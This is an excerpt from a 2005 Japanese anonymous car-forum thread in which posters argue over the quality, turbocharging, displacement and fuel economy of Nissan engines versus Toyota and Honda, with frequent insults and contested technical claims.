382:名無しさん＠そうだドライブへ行こう
05/09/04 17:25:07 o1UefM6z0
>>378
そのレース限りの耐久性でパワーを出すんだから別物なのはあたりまえ。
実用にはならんでしょ
383:名無しさん＠そうだドライブへ行こう
05/09/04 17:33:01 TX44FXoF0
ID:zQl9r3H70はこっちでも必死ですｗ
国産スポーツ(スポーティ)セダンを語る
ｽﾚﾘﾝｸ(auto板)l50
384:名無しさん＠そうだドライブへ行こう
05/09/04 17:37:01 TX44FXoF0
日産車のデザインは実はたいしたことない
130 ：名無しさん＠そうだドライブへ行こう ：2005/09/04(日) 01:50:39 ID:zQl9r3H70
アンチでもキューブのデザインの秀逸さだけは認めるって意見けっこう多いよね。
なんでもかんでも（大した理由もなしに）否定しまくるアンチトヨタやアンチホンダより
アンチ日産って健全だと思います。
385:名無しさん＠そうだドライブへ行こう
05/09/04 17:39:18 KiJMAajN0
何がいいのか知らないけどエンジンのかかりだけはいい
386:名無しさん＠そうだドライブへ行こう
05/09/04 17:44:44 zQl9r3H70
>>383
必死だねえ日産厨ｗ
血眼になって同じＩＤ探しまくってたのねｗ
負け犬と遊ぶの飽きたからそっち逝ってないんだけどね
相手してほしいんだったら素直にそう言えよｗ
387:名無しさん＠そうだドライブへ行こう
05/09/04 18:04:14 TX44FXoF0
>248 ：名無しさん＠そうだドライブへ行こう ：2005/09/04(日) 01:15:26 ID:zQl9r3H70
>ＣＬ７ユーロＲの欠点はＭＴしかないこともあるけど
>あの車重で２Ｌしかないってことだと思う。
ID:zQl9r3H70は朝から晩まで暇だね
2ちゃんに住んでるんですか？プ
ヒキヲタにエンジン語られてもね～ｗ
388:名無しさん＠そうだドライブへ行こう
05/09/04 18:12:08 iPYsZwxW0
専用ブラウザならIDなんか簡単に検索出来る罠。
389:名無しさん＠そうだドライブへ行こう
05/09/04 18:13:05 TX44FXoF0
>血眼になって同じＩＤ探しまくってたのねｗ
血眼？ID:zQl9r3H70なら日産系スレさがせば大量に見つかるじゃん
つか2ちゃんにいすぎオマエ
ちった～外でろｗ
390:名無しさん＠そうだドライブへ行こう
05/09/04 18:25:36 d3ZbZ1Lt0
>>386
TX44FXoF0は鬱病のキチガイだからスルーした方がいいよ。
391:名無しさん＠そうだドライブへ行こう
05/09/04 21:07:32 vtcypLFE0
>>380
シーマはY31の時からターボだし、日本で最初にターボ積んだのはセドグロだからなー。
ちなみに現行のメルセデスS600やマイバッハもターボエンジンなんだが。
ターボの高級車ってのは別に下品じゃないよ。
392:名無しさん＠そうだドライブへ行こう
05/09/04 23:25:49 zQl9r3H70
>>391
マイバッハはともかく、不必要な500psエンジン積むＳ６００は十分に下品だと思う。
乗ってるのは金持ちだろうが品位を疑う。
393:名無しさん＠そうだドライブへ行こう
05/09/04 23:32:41 XxLpk9f00
380 ：名無しさん＠そうだドライブへ行こう ：2005/09/04(日) 16:13:52 ID:zQl9r3H70
>>379
下品なターボ搭載車を設定してる時点でシーマは高級車であることを放棄した。
おまけにＶ８エンジンももフーガＶ８より古い。
これからどうする気だろうね、シーマ・・・
プ、こいつヴァカ。
シーマは初代からず～っとターボの設定あるんですが？
知ったかして偉そうな事いってんじゃね～よｗ
394:名無しさん＠そうだドライブへ行こう
05/09/04 23:34:43 zQl9r3H70
>>393
つまり初代から高級車ではなかったってことですね
納得しました
395:名無しさん＠そうだドライブへ行こう
05/09/05 00:15:55 brW4deIi0
世界的には、高級車にはターボどころか、ディーゼルというのもものに
よってはある罠。
396:名無しさん＠そうだドライブへ行こう
05/09/05 00:21:06 J3GpSllq0
zQl9r3H70はアニヲタ
高級車ってものがわかってない
お前はオタ車のインテRでも乗ってなさいｗ
397:名無しさん＠そうだドライブへ行こう
05/09/05 00:39:10 PB3Z2IXQ0
>>396
貧乏だからせいぜいｱﾙﾄﾜｰｸｽあたりだろ。
ｲﾝﾃRなんか買える訳ないよ。
398:名無しさん＠そうだドライブへ行こう
05/09/05 01:05:42 +v9k8RAJ0
アニヲタは「マーチたん」とかいってマーチに乗ってるみたいだよ
キモヲタがこれほどマッチする車はそうは無いw
399:名無しさん＠そうだドライブへ行こう
05/09/05 01:50:06 lrDMTLUo0
マーチタソ萌え～
400:名無しさん＠そうだドライブへ行こう
05/09/05 17:04:17 qrgYVd1X0
>>380
下品なターボ搭載車を設定してるベンツは高級車じゃないんだ、へぇ～
401:名無しさん＠そうだドライブへ行こう
05/09/05 18:17:52 PB3Z2IXQ0
ちょｗｗｗおまｗｗｗ
もしかしてﾍﾞﾝｼ=高級車とか思ってる訳？ｗｗｗ
402:名無しさん＠そうだドライブへ行こう
05/09/05 18:57:27 SBTzFV+N0
23
403:名無しさん＠そうだドライブへ行こう
05/09/05 19:02:57 EEt/BMba0
>>398
マーチたん ×
マーチたそ ○
404:名無しさん＠そうだドライブへ行こう
05/09/06 16:23:40 xt0ffkBm0
>>401
アルト乗ってるおまいからしたらマーチでも高級車だろ？w
ターボエンジン搭載の高級車と言えばベントレーターボだってあるぞ。
ターボだから下品とかじゃなくて味付けの問題じゃないのか？
405:名無しさん＠そうだドライブへ行こう
05/09/06 23:36:00 LsIPWZCj0
>>401
免許も持ってない餓鬼にアルトがあると思いますか
406:名無しさん＠そうだドライブへ行こう
05/09/06 23:39:51 LsIPWZCj0
>>401→>>405
ｿﾏｿorz
407:名無しさん＠そうだドライブへ行こう
05/09/06 23:52:25 HtPciEIX0
スペック捏造のトヨタヲタは来るな
ここは本田ヲタのものだ
408:名無しさん＠そうだドライブへ行こう
05/09/07 08:50:58 8mJisqts0
>>406
なに自問自答してるんだ？
409:名無しさん＠そうだドライブへ行こう
05/09/07 23:37:20 0m1NCazH0
hagewara
410:名無しさん＠そうだドライブへ行こう
05/09/08 00:24:36 AiZZXswO0
>>1
ニッサンはエンジンだけでなく、
すべてにおいて「糞」ですから。
411:名無しさん＠そうだドライブへ行こう
05/09/08 01:49:44 +RyVoYn40
>>410
いちばんの糞はユーザーそのもの。
なかでも、ひたすら日産をマンセーし他社や他車とそのユーザーを認めない
「サンヲタ」と呼ばれる種族と、セドグロシーマ等のＤＱＮ系ＶＩＰカーで
周囲の景観をぶち壊し爆音をまき散らしたり、シルビアやローレル等で
ところかまわずドリフトぶちかましたり迷惑運転する輩。
こいつらはどこに行ってもマナー悪いです。
412:名無しさん＠そうだドライブへ行こう
05/09/08 14:42:46 3+kQUggO0
ベンツのコンプレッサーって、あれターボじゃないの？
413:E60 M5 Individual
05/09/08 14:57:00 fqsgufiv0
>>412
ルーツ式（たしか）のスーパーチャージャーのこと。
414:名無しさん＠そうだドライブへ行こう
05/09/08 15:02:42 4n43s/OH0
23
415:名無しさん＠そうだドライブへ行こう
05/09/08 15:26:33 3+kQUggO0
しかし、誰だろうな。
ターボ≠環境
なんてやりだしたのは。
ターボはリーンバーンもできるし、完全に環境に合わないなんて思えない。
なんか世間的にはそういう流れになってるよね。
日産のターボなんて、シルビアでさえ、おとなしく流してたら、ガス食わないし、4人フル乗車で峠道をまったり走っても、
リッター８くらいで走ってたよ。
今の車はほとんどがNAでRVだが、4人乗車で走ってもリッター６，７でしか走らないものだって結構ある。
日産はターボ取ったらなんにも残らないと思うんだが。
今の車が環境を考えてるなんて、到底思えないね。
むしろ10年前くらいのスペシャリティカーのほうが、燃費が良かったと思う。
416:名無しさん＠そうだドライブへ行こう
05/09/08 21:04:03 T/DY89Ur0
>>415
昔の車は軽いのも良燃費の理由の一つじゃ
417:名無しさん＠そうだドライブへ行こう
05/09/08 21:32:06 bWz1TkLA0
>>415
アベニールGTやVQ25DETのステージアの燃費はVQ35DE車よりもっと極悪だとか聞くが。
418:名無しさん＠そうだドライブへ行こう
05/09/08 22:36:22 YRh7HVsl0
>>415
まあ、トヨタもターボやめているが、今の日産の現行のターボ車ってシーマぐらい？
419:名無しさん＠そうだドライブへ行こう
05/09/08 23:59:25 +RyVoYn40
23
420:名無しさん＠そうだドライブへ行こう
05/09/09 00:29:21 y314l0u/0
>>418
エクストレイルGTがおます。
421:名無しさん＠そうだドライブへ行こう
05/09/09 19:19:27 pWPtYX1B0
23
422:名無しさん＠そうだドライブへ行こう
05/09/09 19:29:11 9JrHlq0IO
2GRに乗った人はいるだろうか？VQ35の負けは決定的かねえ？
423:名無しさん＠そうだドライブへ行こう
05/09/10 01:40:56 Bx5nhYFY0
>>422
いまだにエンジン単体で勝った負けたとの価値基準しかもたない馬鹿
車の速さで一番重要なのは腕、次にクルマの安定性だよ ｸｽﾞ
424:名無しさん＠そうだドライブへ行こう
05/09/10 02:09:42 nGvMTCon0
>>423
じゃあ日産はますますダメじゃんか
425:名無しさん＠そうだドライブへ行こう
05/09/10 03:36:36 W5ZevhCR0
ﾜﾗﾀ
426:名無しさん＠そうだドライブへ行こう
05/09/10 11:58:49 j9GxCzjG0
やっぱＹ32セド、グロ搭載エンジンＶＧ３０ＤＥＴが一番良いか
荒削りなエンジンだけどチューニングはばがあるからなぁ
日産の良いエンジンＬ型、ＲＢ、ＶＧが一番よいよ。
427:名無しさん＠そうだドライブへ行こう
05/09/10 12:12:56 Or9UsGDV0
VGなんて糞の中の糞エンジン
428:名無しさん＠そうだドライブへ行こう
05/09/10 15:02:44 3pZqdFuv0
オレが乗ってたニッサン車でいえば、
最悪だったのが、Z型だっけ？シルビアの8本プラグのエンジン、これは本当に糞だった。
最高だったのは、フェアレディの直6セラミックターボのヤツだな。
VGやVQは乗ったことないけど、Z型より糞なのか？
429:名無しさん＠そうだ選挙に行こう
05/09/10 18:51:10 +t489Kfa0
23
430:名無しさん＠そうだ選挙に行こう
05/09/11 01:27:00 aVDpf2JX0
>>423
日惨の糞エンジンこき下ろすスレじゃ！この池沼
431:名無しさん＠そうだ選挙に行こう
05/09/11 01:57:04 KuItiAlJ0
>>430
日産車オーナーが建設的に対策を考えるスレじゃないのか？
432:名無しさん＠そうだ選挙に行こう
05/09/11 19:07:32 2G9Z9UBI0
23
433:名無しさん＠そうだドライブへ行こう
05/09/12 12:49:45 /t1MApRD0
ターボのついていない日産のエンジンってほんと糞遅い！
かといってターボついててもレスポンス最悪！ヨタほどじゃないが・・・
いくらパワーないからって３．５だの４．５だのでかくすりゃいいってもんじゃないだろ！
あんなエンジンしか作れなくてスポーツイメージで売ろうなんて
話にならないね。
434:名無しさん＠そうだドライブへ行こう
05/09/12 16:54:25 4U4qO0EeO
と、原付しか乗った事がない>>433が力説しております
435:名無しさん＠そうだドライブへ行こう
05/09/12 17:02:19 JMGGOQdv0
名ばかりのＧＴは道をあけろ。
狼の皮を被った羊
nissanを表現する名文句たち
他にもあったっけ
436:名無しさん＠そうだドライブへ行こう
05/09/12 20:00:31 MiswJry+0
【TOYOTA】トヨタのCMスレ【ダイハツ・日野】
ｽﾚﾘﾝｸ(cm板)
トヨタは最高最強！
437:名無しさん＠そうだドライブへ行こう
05/09/12 20:02:20 x7H697oV0
乗ったことがないのに語ってるのが笑える。
どうせ高卒なんだろ。
438:名無しさん＠そうだドライブへ行こう
05/09/13 09:54:26 XQgpoTCS0
オレは
スカイラインジャパンと280Ｚとシーマと
日産のったがどれも怠いエンジンばっかりで
技術の日産って詐欺みたいな広告だと思った。
いまでもシーマはゲタとして使ってるが
重い遅い燃費悪いの３拍子揃ってる。
おまけに近くのディーラーはぼったくりだし
日産サイテー
439:（＾o＾）/~~~
05/09/13 10:41:45 LxWSvnRU0
本駄のエンジンは低速ｽｶｽｶで駄目なｴﾝｼﾞﾝだーよ
440:名無しさん＠そうだドライブへ行こう
05/09/13 12:04:07 g5hYd8t90
>>438
どんだけ古いシーマか知らんが
現行だと３Lでも遅くはないと思う。
重くて燃費悪いのは激しく同意するが。
441:名無しさん＠そうだドライブへ行こう
05/09/13 22:47:23 2PLHdewp0
だってクラウンコよりも遅いんだもん。
442:名無しさん＠そうだドライブへ行こう
05/09/13 23:19:53 f6Jd8gjG0
SR18DEの4AT乗ってるが、代車で来た雅子様カロＩＩ1300の3ATの方が
やたら出足いいんだけど＿|￣|○
443:名無しさん＠そうだドライブへ行こう
05/09/13 23:53:05 Gr6ALGN90
出足だけ
444:レイザーラモンＨＧ
05/09/14 00:03:10 8Eq3os0c0
｀ヽ：： ：：´
ヽ ヽ , -‐--､ / /
ヽ ＼ I:：：：：：:I_ _ / / ┌──────
ヽ ヽ i,(;;;ﾉI､;;;)l ,,／ , ' ＜ ハードゲイが５００getだフォ～！
ヽ ` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - ' r' └──────
` ､_ ／：:: `山'::::： ／
ヽ：::::::::::|:::::::："",r‐'
〉::::::::|::::::::::¨/
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／ ヽI,r''"""^~ヽ
/ ,／ ヽ ヽ
445:名無しさん＠そうだドライブへ行こう
05/09/14 00:14:28 J57+ruTU0
日産のエンジンがなぜ糞なのか？
それは、>>439みたいなコンプレックスの塊が日産マンセーしてるから。
446:名無しさん＠そうだドライブへ行こう
05/09/14 00:18:06 XjercvPQ0
ニッサン改革、すべてエンジンもコスト削減中だ。エアバックも削減危険だ。ニッサンの人は
なぜか、トヨタ、ホンダを乗っていた。理由がわかるな。
技術のニッサン何十年前のことか？今や、マーチ、キューブ、ノートで大満足。
他売れないんだ。しまいには、三菱のクリッパーやオィティまで名前変えて売り出してる。恐ろしい会社だ。
トヨタにも、ライバルあいてにされず馬鹿にされいっそうあの世界一ださいマーク
はずしてルノーかインフィニにするべきだ。
447:名無しさん＠そうだドライブへ行こう
05/09/14 00:43:42 JFeUnt/i0
>>442
出足はエンジン性能に影響されるわけじゃない。
むしろギア比の問題。
448:名無しさん＠そうだドライブへ行こう
05/09/14 00:59:00 a2+x3F5i0
日産遅いっていうけど、これ立てたのンダヲタ？
あんまり速いンダ車って見たことないけど。
結局F1のイメージで勝手に速いと妄想してるだけなんだろ。
所詮素人レベルではどんぐり背だと思うよ。
449:名無しさん＠そうだドライブへ行こう
05/09/14 01:12:56 YurATlztO
最近不思議に思ってるのは
ニッサンヲタは今何に乗ってるのか？
ノートとかあの妙にデブってるスカイラインとか
そんな車に乗りながら車板を見てるのか？
四十代のオッサンには良いメーカーなのかもしれんが
車好きが選ぶ車が無いだろ。いやマジで。
450:名無しさん＠そうだドライブへ行こう
05/09/14 01:19:56 a2+x3F5i0
>>449
車好きが選ぶメーカーがンダ？ 笑わせるな。というかセンスないと思ったほうがいいぞ。
与太・身潰車なんて論外だし、マツダ・スバルは弱小
やっぱ輸入車 百歩譲ってﾆｻﾝ車なんでねーか？
451:名無しさん＠そうだドライブへ行こう
05/09/14 01:24:39 G8SoS9yc0
2人乗りがＺで、4人乗りがスカイラインで、8人乗りがエルグランド
それだけの違いだろ？
購買意欲が湧かないね
452:名無しさん＠そうだドライブへ行こう
05/09/14 01:36:12 a2+x3F5i0
>>451
それ言ったら
2人乗りがSLKで、4人乗りがE350で、8人乗りがViano
それだけの違いだろ？
購買意欲が沸かないね
453:名無しさん＠そうだドライブへ行こう
05/09/14 01:45:46 YurATlztO
>>450
誰もホンダだなどと言ってないようだが？
ホンダコンプレックス丸出しでみっともないな。
「今のニッサンで車好きが選ぶ車は何かあるのか？」と尋ねている。
うーむ、無いな。
今現在はニッサンとスズキは無い。
車に興味のないオッサンオバハンが買う車しか無いわ。
454:名無しさん＠そうだドライブへ行こう
05/09/14 01:49:42 +I41qv8o0
>>450
まぁまぁ、見栄は程々に・・・・
オマエのアルトワークスは元気か？
455:名無しさん＠そうだドライブへ行こう
05/09/14 01:50:11 cd3PRK4a0
>>453
じゃあ、ほかのメーカーで車好きが選ぶ車ってなによ？
456:名無しさん＠そうだドライブへ行こう
05/09/14 01:50:22 S2yP3SRI0
鈴木は偏見で見られることが多々…
457:名無しさん＠そうだドライブへ行こう
05/09/14 01:58:00 9C6SvLxy0
ニッサーンのATは１，２速が低くて
４速だけちょーーーOD
458:名無しさん＠そうだドライブへ行こう
05/09/14 01:58:06 YurATlztO
>>455
他のメーカーはどうでもいいから
「ニッサンで車好きが選ぶ車」を2～3車種教えて欲しいもんだ。
ここはニッサンスレだしな。
459:名無しさん＠そうだドライブへ行こう
05/09/14 02:00:09 a2+x3F5i0
>>454
必死だなー 一応ドイツ車とイタリア車２台所有してる合わせて１０００万超えるくらいしかいかないけどね。
460:名無しさん＠そうだドライブへ行こう
05/09/14 02:01:27 9C6SvLxy0
すぐにロックアップが外れて燃費絶悪だったな
５年で２回エンコしたし
461:名無しさん＠そうだドライブへ行こう
05/09/14 02:03:09 a2+x3F5i0
>>458
スカイライン・Z・シーマあたりでねーの？
走りで言ったらそうだろ。
他メーカーより走りは洗練されてるし、そこそこ速い。
462:prius the hybrid synergy drive ◆xJDv9kze4M
05/09/14 02:05:09 3UH/dPDu0
日産をあんまりいじめないでくださいっ（＞＜）
463:455
05/09/14 02:07:45 6P9GsoUX0
>>458
他メーカーはどうでもいいってお前・・・・
それじゃただのアンチ日産じゃねえかよ、比較すもんが必要だろ。
>>461
今のスカイラインはだめだろ。Zはなんか動かしててタルイ気がする。
シーマはしらん、乗ったことない
464:名無しさん＠そうだドライブへ行こう
05/09/14 02:11:21 YurATlztO
>>461
なるほど。
さすが大企業ニッサンだけあって
走りが刺激的な車（笑）をゴロゴロ揃えてますな。
自分で「ソコソコ」とか言うなよ。
痛々しいぜ。
465:名無しさん＠そうだドライブへ行こう
05/09/14 02:17:36 a2+x3F5i0
>>464
UZEEEEEE よ 真実の感想を述べたまで。
おまえの機械音痴な部分をさらけ出して解説してやるから
２００文字以内でおまえの自動車感を述べよ。
466:名無しさん＠そうだドライブへ行こう
05/09/14 02:20:21 G8SoS9yc0
日産はライバルに対して排気量アップで対向するしか能がなく
結果、燃費は悪い、上で糞詰るエンジン
467:名無しさん＠そうだドライブへ行こう
05/09/14 02:26:27 a2+x3F5i0
>>466
おまい馬鹿か？ 排気量でかいほうがアクセルの開度が少なくても加速するから
実は燃費はいいことも多いのだよ。
排気量が小さくて高回転でパワーを稼がざるを得ない場合、大多数の車音痴はそんなに
エンジンぶん回さないから、実質パワーの出ない部分しか使ってない。
で大排気量のほうが車素人でも速く走らせられるわけ。わかったかい？
468:名無しさん＠そうだドライブへ行こう
05/09/14 02:26:30 +I41qv8o0
>>459
ドイツ、イタリア車、３台あわせても、１０００万円？？？
輸入車なのに？？？？？？？？？？？？
・・・大口叩くなら、一台で１０００万円超えて欲しいものだな。
ま、書きたいこと掛けよ。誰も信じないから。
ハッハハハ！！！
469:名無しさん＠そうだドライブへ行こう
05/09/14 02:27:06 9C6SvLxy0
すくに燃費の悪い高回転まで回すセッティング
低速トルクなさすぎｗｗｗ
470:名無しさん＠そうだドライブへ行こう
05/09/14 02:27:46 a2+x3F5i0
>>468
ごめんなさい。いまは貧乏で安い輸入車しか乗れないのでつよ。
でも数年後にはフェラーリ・オーナーになりまつよ。 必死！！
471:名無しさん＠そうだドライブへ行こう
05/09/14 02:29:37 a2+x3F5i0
>>468
2台ね。ﾆｻﾝ車は前に乗ってただけね。
472:名無しさん＠そうだドライブへ行こう
05/09/14 02:29:46 +I41qv8o0
>>470
がんばりたまえ。
検討を祈る。
473:名無しさん＠そうだドライブへ行こう
05/09/14 02:32:33 G8SoS9yc0
>>467
日産の実燃費が悪いのは有名
排気量で誤魔化したいならアメ車にでも乗っとけ
474:名無しさん＠そうだドライブへ行こう
05/09/14 02:34:25 a2+x3F5i0
>>473
それは下手糞がパカパカアクセル踏んで戻して踏むからだろ？
そんな奴らが風説流してるだけさ。
実際、所有してて、燃費よかったもん。
475:名無しさん＠そうだドライブへ行こう
05/09/14 02:35:39 9C6SvLxy0
うそこけ。レスポンス重視なのに
476:455
05/09/14 02:43:44 6P9GsoUX0
燃費、３大メーカーでいったら一番悪いだろ。＞＞日産
トヨタが一番10・15に近いな、ホンダは踏んだときの落ち込みが激しい。
>>469
AT？
477:名無しさん＠そうだドライブへ行こう
05/09/14 02:54:17 a2+x3F5i0
>>476
車音痴しかステアリング・ホイール握らないヨタ車の事情は知らない
それとて、情報操作を鵜呑みにしてる可能性あるし。
燃費なんて個人の運転の仕方で大きく変わるもの。
ど素人が運転した状態で燃費をよくするテクニックもありそうだな。ｗ
478:名無しさん＠そうだドライブへ行こう
05/09/14 03:08:15 wzkcL1400
ＲＢ２６さえあれば いい。
479:名無しさん＠そうだドライブへ行こう
05/09/14 03:09:04 9C6SvLxy0
ぶっちゃけトヨタからOEMしてもらえよ
480:名無しさん＠そうだドライブへ行こう
05/09/14 03:17:17 cim2EMoFO
hage
481:名無しさん＠そうだドライブへ行こう
05/09/14 03:19:36 3ceFOI/o0
MTでそこそこ見栄えのする４人乗りの車を選んだら
スカイラインクーペしかなかったんだよ。
三菱は燃えたりタイヤが外れそうなそうなイメージがあるし、
近所での評判が悪くなりそうなので×
スバルは見た目が×
HONDAはFFか２人乗りしかないし。
TOYOTAもそんな感じ。
最終的にMAZDAのRX-8とスカイラインクーペに絞ったんだけど
RX-8のクラッチペダルが踏みにくい（左足部分が狭い）って事で没。
今だと、選択肢がこんな感じじゃない？
エンジンがどうこうとか言えるような状況じゃない。
482:455
05/09/14 03:38:38 eCyyt+IL0
今の日産はコストダウンで利益を出して体力つけ始めてるとこ、もう少し待て。
あと今のトヨタはエンジンに金をかけてきてる、下から上まで、下のは性能がすぐれてるかは別として
それに足回りがついてきてないだけだよ。
483:名無しさん＠そうだドライブへ行こう
05/09/14 06:00:41 avZ1SDqW0
トヨタは判っていても足に銭をかけるつもりはないと思う。
だってカタログにのらねーし、一般人わかんねーし。
実用車のアシなんか、惨憺たるモノだよね。
ISIS乗ったときは冗談かと思った。
484:名無しさん＠そうだドライブへ行こう
05/09/14 07:36:01 WxWcps6t0
おまいら一度旧型のキューブに乗ってみろ。
糞なのはエンジンだけじゃないぞ。すべてにおいてダメ。
俺もR31の代車で乗ったけど、乗った瞬間唖然とした。
485:名無しさん＠そうだドライブへ行こう
05/09/14 09:46:14 Z44VadCe0
まぁ、結論としては、
技術はあるのにリストラ中でカネを掛けられない日産車 VS
どんなに儲かっても車の大事な部分には一切カネを掛けない豊田車
ハードの出来はどちらも似たり寄ったり、ということだねｗ
486:名無しさん＠そうだドライブへ行こう
05/09/14 10:27:25 navBOrRJ0
トヨタのすごいところは同グレードのエンジンを比較した場合
燃費がいいところ、営業車でカローラからキューブになったが、
リッター当たり５km違うよ。両車輌とも１３００CC。
ＲＢ２６は確かにいいけど、一般人にはあまり関係ないエンジン、
やっぱりトヨタは凄いと思いましたよ。
マイカーはトヨタ買いたいとは思わないが・・・
487:名無しさん＠そうだドライブへ行こう
05/09/14 10:47:58 nPVJjOSF0
>>468
>おまい馬鹿か？ 排気量でかいほうがアクセルの開度が少なくても加速するから
> 実は燃費はいいことも多いのだよ。
アホやこいつｗ
488:名無しさん＠そうだドライブへ行こう
05/09/14 10:48:48 nPVJjOSF0
アンカー振り間違えた。
>>467
だった。
俺もアホやｗ
489:名無しさん＠そうだドライブへ行こう
05/09/14 10:53:19 nPVJjOSF0
>>467
> 排気量でかいほうがアクセルの開度が少なくても加速するから
お前は排気量って何なのか今一度よく考えた方が良いぞｗ
排気量って意味分かってんの？
490:名無しさん＠そうだドライブへ行こう
05/09/14 10:54:59 //kZqQmY0
糞スレだな
スレタイでわかる
491:名無しさん＠そうだドライブへ行こう
05/09/14 12:04:23 glVrk7pL0
>ID:nPVJjOSF0
軽自動車の燃費がリッターカーより悪いことが
よくあるのを知らないのか？
492:名無しさん＠そうだドライブへ行こう
05/09/14 13:21:17 xC50sLbv0
エンジン単体では
排気量＝燃費
ということで。
493:名無しさん＠そうだドライブへ行こう
05/09/14 13:22:59 nPVJjOSF0
>>491
それって当然、軽自動車の『NA』なんだろうな？
具体的にどれがリッターカーより悪いのか言ってみろ。
言わなくても常識だけど、軽で過給器付いてんならリッターカーより
排気量でかくなる可能性あるんで、比較対象にはならん。
乗り方で大違いなのは当たり前なんでヨロシコ
問題は、
> 排気量でかいほうがアクセルの開度が少なくても加速するから
> 実は燃費はいいことも多いのだよ。
その時、シリンダーが吸ってる混合気の量とか考えたこともないらしいなｗ
494:名無しさん＠そうだドライブへ行こう
05/09/14 13:32:57 nPVJjOSF0
軽でもワゴンRやパジェロミニとかと、昔のマーチみたいなコンパクトな物を比べると
車体の差で、エンジン以前の問題。
495:名無しさん＠そうだドライブへ行こう
05/09/14 14:48:18 NBJsj/jQ0
>>493
1.3L Fit のCVT 24km/L というのがあるけど、
アルト（NAだよね？）はMTで 24.5km/L、ATだと20.5km/Lのようだが
こういう例とは違うのか？
496:名無しさん＠そうだドライブへ行こう
05/09/14 14:54:02 1dEEYCv50
>>490
NISSANのエンジンは糞エンジンですが、ここは良スレですよ。
497:名無しさん＠そうだドライブへ行こう
05/09/14 14:57:09 0xwEGsQB0
あっさり反証を出されたID:nPVJjOSF0が激しくカコワルイ。
軽自動車がローギアードなんて一生気付かないのだろうな。
498:名無しさん＠そうだドライブへ行こう
05/09/14 15:11:04 WDM4Pthr0
一番の被害者はRBより
180SX とか シルビア（SR20)とおもうが。。。。
499:名無しさん＠そうだドライブへ行こう
05/09/14 15:13:13 miU7Ex6F0
糞エンジンなのは車好きにいじる機会を与えているためなんである。
500:名無しさん＠そうだドライブへ行こう
05/09/14 15:20:09 1dEEYCv50
でもさ、糞はどこまで行っても糞だと思うけどね。
中には素性のいい糞もあるってことなのかな？
それなら最初から作っておけや！って話になる。
501:名無しさん＠そうだドライブへ行こう
05/09/14 15:20:15 WDM4Pthr0
でせっかく Rで日産の株を上げた S K Y L I N E も
あんな事になってるし・・・
502:名無しさん＠そうだドライブへ行こう
05/09/14 21:11:17 nPVJjOSF0
>>497
アホやｗ
あれだけ車体を考えずに『排気量』の話ししてんのにwww
排気量＝燃費
排気量に頼る日産のエンジンは、燃費の面から見ても糞
4500なんてエミッション意識の欠片も無いね。
2000から3000だった、セドグロを2500から4500にしたのは技術がないから。
503:名無しさん＠そうだドライブへ行こう
05/09/14 21:14:56 nPVJjOSF0
しかも、ホンダとスズキでは技術力ってか、燃費に対する考え方も違うのにｗ
俺が言ってんのは、
> 排気量でかいほうがアクセルの開度が少なくても加速するから
> 実は燃費はいいことも多いのだよ。
これの何処に他者同士の条件が違う、CVTとMTの比較が入ってんだか。
『排気量』の話ししてんだけど？
504:名無しさん＠そうだドライブへ行こう
05/09/14 21:24:09 nPVJjOSF0
日産は排ガス規制さえなければ、今でもターボをやってる。
間違いないね。ターボ止める変わりに排気量に頼りだした。
どっちも同じ行為、ただ規制迂回しやすい方にしただけで
環境意識の欠片もない。
505:名無しさん＠そうだドライブへ行こう
05/09/14 21:45:57 UsQ4rP/10
新しいフーガのエンジンは4.5リッターも排気量があるのに
333しか馬がいないんだよね…なんか最近の日産のエンジンはアメ車的
506:名無しさん＠そうだドライブへ行こう
05/09/14 23:15:34 CEUfDmkK0
>>502
じゃあレクサスはどうなんだ？
トヨタだって上級車は排気量でかいじゃねーか。
今やターボに頼らなくても、トルクがちゃんと出る時代になってるんだよ。
コンパクトカーだって昔に比べてきちんと低速トルクが出てる。
別に大排気量車ばかりのラインアップじゃないし、排気量に頼っているわけではない。
507:名無しさん＠そうだドライブへ行こう
05/09/15 00:25:11 bCOsWzbP0
>>503
軽自動車とリッターカーだろ＜アルトとフィット
スズキとホンダじゃ考え方が違う？メーカーも一緒じゃないといけなかったのか？
単純に燃費が軽自動車よりも良いリッターカーがある、というだけの話じゃなかったのか？
そのうち、車種が違うから比較できない、とか言い出しそうだな。ｗ
508:名無しさん＠そうだドライブへ行こう
05/09/15 00:28:50 lEXGkVGY0
>>506
レ腐スも同類、しかし今まで貢いでくれた奴らのお陰で
直噴技術は育ったし、本家は当然ハイブリッドに力入れてるし。
一応クラウン（マジェ以外）は3000のまま技術でやってる。
しかし、4000以上のNA用意してる時点で同類だが。
他で補うようにしてる痕跡は一応見るべき物がある。
VQ35DEをローコンプすら使わずにあらゆる車種に使いまわし
排気量でごり押ししてる日産とは格が違う。
509:名無しさん＠そうだドライブへ行こう
05/09/15 00:30:05 lEXGkVGY0
>>507
どうにか話し変えたいらしいなw
> 排気量でかいほうがアクセルの開度が少なくても加速するから
> 実は燃費はいいことも多いのだよ。
これの話しを変えるつもりはない。
しかも、最初からこれにしか俺は言ってねーしｗ
510:名無しさん＠そうだドライブへ行こう
05/09/15 00:38:15 lEXGkVGY0
スカイランでRB20DEを廉価版ながら頑張ってた次期に比べて今は何だ？
Z、スカイライン、フーガ、ティアナ、ムラーノ、エルグランド、プレサージュ、ステージア
ローコンプすら使わずに車種別の専用チューンも金掛けずに極小レベルのVQ35DEを
使いまわす。業界No.2の座に居ながら開発費は常にNo.3以降の日産、どこに金使ってんの？
511:495, 507, not others
05/09/15 00:39:46 bCOsWzbP0
だから排気量の違う車（軽自動車とリッターカー）の話でしょ？
何か間違ってたのか？
話を変えたいってのがよくわからんが、、、
取り敢えずメーカーをあわしておくよ。
ライフ NA ※排気量 658cc
・・・(FF)19.0km/L、 (4WD)17.8km/L
フィット 1.3L ※排気量 1,339cc
・・・(FF)24.0km/L、 (4WD)20.0km/L
十分に>>491氏のレスに合致するデータだと思うけどな。
＞軽自動車の燃費がリッターカーより悪いことが
＞よくあるのを知らないのか？
512:名無しさん＠そうだドライブへ行こう
05/09/15 00:47:04 lEXGkVGY0
>>511
横からシャシャリ出てきた>>491に釣られた俺がアホだったな。
お前らの言ってる次元の話ではなかったけど、、、
しょうがねー、>>491が正しい。シーマセンでした。
でも、俺が言ってるのは最初から↓についてなんだが。
> 排気量でかいほうがアクセルの開度が少なくても加速するから
> 実は燃費はいいことも多いのだよ。
これで排気量の意味分かってるのか？と。
正直エンジンの話ししてるのに、車の違いを騙られてもなぁ
それに釣られる俺がアホなんだけど。
513:455
05/09/15 02:17:48 /cYfnQ/t0
まだやってるのか・・・・
レクサスも大排気量化してるけどエンジン自体はかなりのいいものだよあれは、他社の人間としてはうらやましい。
